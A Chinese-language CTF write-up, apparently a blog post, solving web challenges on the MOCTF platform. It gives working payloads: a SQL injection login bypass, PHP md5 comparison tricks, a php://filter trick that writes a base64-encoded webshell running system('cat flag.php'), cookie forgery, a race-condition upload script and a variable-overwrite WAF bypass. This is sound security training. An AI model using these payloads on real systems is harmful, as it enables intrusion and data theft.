前幾天發現一個不錯的平臺MOCTF但一直沒時間刷。這幾天陸續更新web題的wpphp
進去一堆青蛙html
查看源代碼,看到flagpython
發現密碼框輸入不了,遂F12審查元素,刪除disable屬性,以及將長度改成5,輸入moctf。獲得flagweb
題目提示用NAIVE瀏覽器,因而想到burp改user-agent:NAIVE算法
run獲得flagsql
這道題。。。。我。。。一進去玩了半天的貪吃蛇。。。。shell
後來隨手審查了元素,發現robots.txt點進去後發現flag327a6c4304ad5938eaf0efb6cc3e53dc.php數組
進去F12找到flag瀏覽器
題目提示php~安全
進去後查看源代碼,php黑魔法。
大體意思就是
1.輸入a,b兩個參數,都不能爲空
2.這兩個參數不能相等
3.這兩個參數通過md5加密後相等。
條件2和條件3貌似衝突。
兩種方法:
1.構造數組,md5加密遇到數組時都返回false,因而相等,但值並不相等。?a[]=1&b[]=2
2.md5加密後0e開頭的都相等,例如:240610708 和 QNKCDZO。 ?a=240610708&b=QNKCDZO
兩種方法都獲得了flag
進去也是php審計
須要知足四個條件就會獲得flag
1.參數爲money,而且爲get傳遞
2.money的長度要小於4
3.money要大於time(),time()返回的值百度了一下,貌似是從1970年到如今的秒數,反正就是特別大。
4.money不能是數組
天然想到科學計數法,構造?money=2e10 獲得flag
一看就是sql注入題,用戶名構造萬能密碼:'or '1' = '1' # 密碼任意 獲得flag
頁面只有一個超連接,點擊並burp,一開始什麼都沒發現,後來看到有302跳轉,跳轉到了五個頁面分別爲:
/where_is_flag.php
/flag.php
/I_have_a_frog.php
/I_have_a_flag.php
/no_flag.php
猜想flag應該在flagfrog.php或者frogflag.php
訪問兩個頁面都沒有結果,再burp,都獲得了flag。。。。。腦洞大的很。。。
參考連接:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
遂寫shell並base64編碼,以後再解碼的時候,符<、?、;、>、空格等一共有7個字符不符合base64編碼的字符範圍將被忽略,因此最終被解碼的字符僅有「phpexit」和咱們傳入的其餘字符。
但base64算法解碼時是4個byte一組,因此給他增長1個「a」一共8個字符。這樣,"phpexita"被正常解碼,然後面咱們傳入的webshell的base64內容也被正常解碼。結果就是<?php exit; ?>
沒有了。
構造shell:<?php system('cat flag.php');?> base64加密後爲:aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
再結合tmp.php構造payload爲c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php
審查元素獲得flag
查看源代碼看到提示信息flag.php,結合題目文件包含
構造payload:?file=php://filter/convert.base64-encode/resource=flag.php
獲得一串加密字符,base64解密獲得flag
進去就是一個登錄頁面,嘗試弱密碼登陸admin,admin順利登陸,後來發現貌似隨意一個帳號密碼都能進去。。。。
抓包發現一串字符串:SET-COOKIE:ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU%3D
%3D是「=」的URL編碼,因此對ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU=進行base64解碼,獲得MD5密文ee11cbb19052e40b07aac0ca060c23ee,解密後獲得user
因此使用admin先md5後base64,加上cookie,獲得flag
題目就是2秒刷新一次,計數moctf,放python腳本
import requests import re targeturl = "http://119.23.73.3:5001/web10/" r = requests.get(url=targeturl) res_tr = r"'100'>(.*?)</textarea>" flagtxt = re.findall(res_tr,r.content)[0] re_moctf = r"moctf" moctf = re.findall(re_moctf,flagtxt) number = len(moctf) ans = { "answer":number } url2 = "http://119.23.73.3:5001/web10/work.php" s = requests.post(url=url2,data=ans,cookies=r.cookies) print s.content
點進題目發現是index2.php,想到302跳轉,burp查看
訪問uploadsomething.php頁面
寫入文件會顯示出文件地址,可是當去訪問它的時候,會顯示Too slow!
猜想服務器會自動刪除文件,可是文件在上傳至服務器和被刪除這中間有微小的時間間隔。
利用條件競爭,一邊利用burp不斷髮送文件,另外一邊不斷去讀取文件地址,附py腳本
#-*- coding:utf-8 -*- import requests url="http://119.23.73.3:5006/web2/uploads/d0bdc1c72726993c38f7522c91150cc27c0b6148/shell.php" while 1: print(requests.get(url).text)
獲得flag。
<?php highlight_file('index.php'); function waf($a){ foreach($a as $key => $value){ if(preg_match('/flag/i',$key)){ exit('are you a hacker'); } } } foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } } if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);} if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['daiker']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['daiker'])){ include($_GET['file']); } } ?>
題目原型是 Destoon 20140530最新版超全局變量覆蓋致使的安全問題
http://www.secevery.com:4321/bugs/wooyun-2014-063895
代碼執行順序是unset->waf->extract
因此咱們的思路就有了,經過unset繞過waf函數再接着extract重塑變量
foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } }
這一段是核心的部分,遍歷數組,存放在臨時變量$__R中,$$__R也就是$__R的值,$__R做爲變量名。
將$$__R存放在$__v變量中。$__k也就是_GET[flag],而$$__k就是_GET[flag]的值
再利用md5碰撞,達到unset_GET[flag]的目的,從而繞過waf函數,緊接着一個extract又將_GET[flag]恢復過來,從而僞協議讀取flag.php
payload:
獲得flag。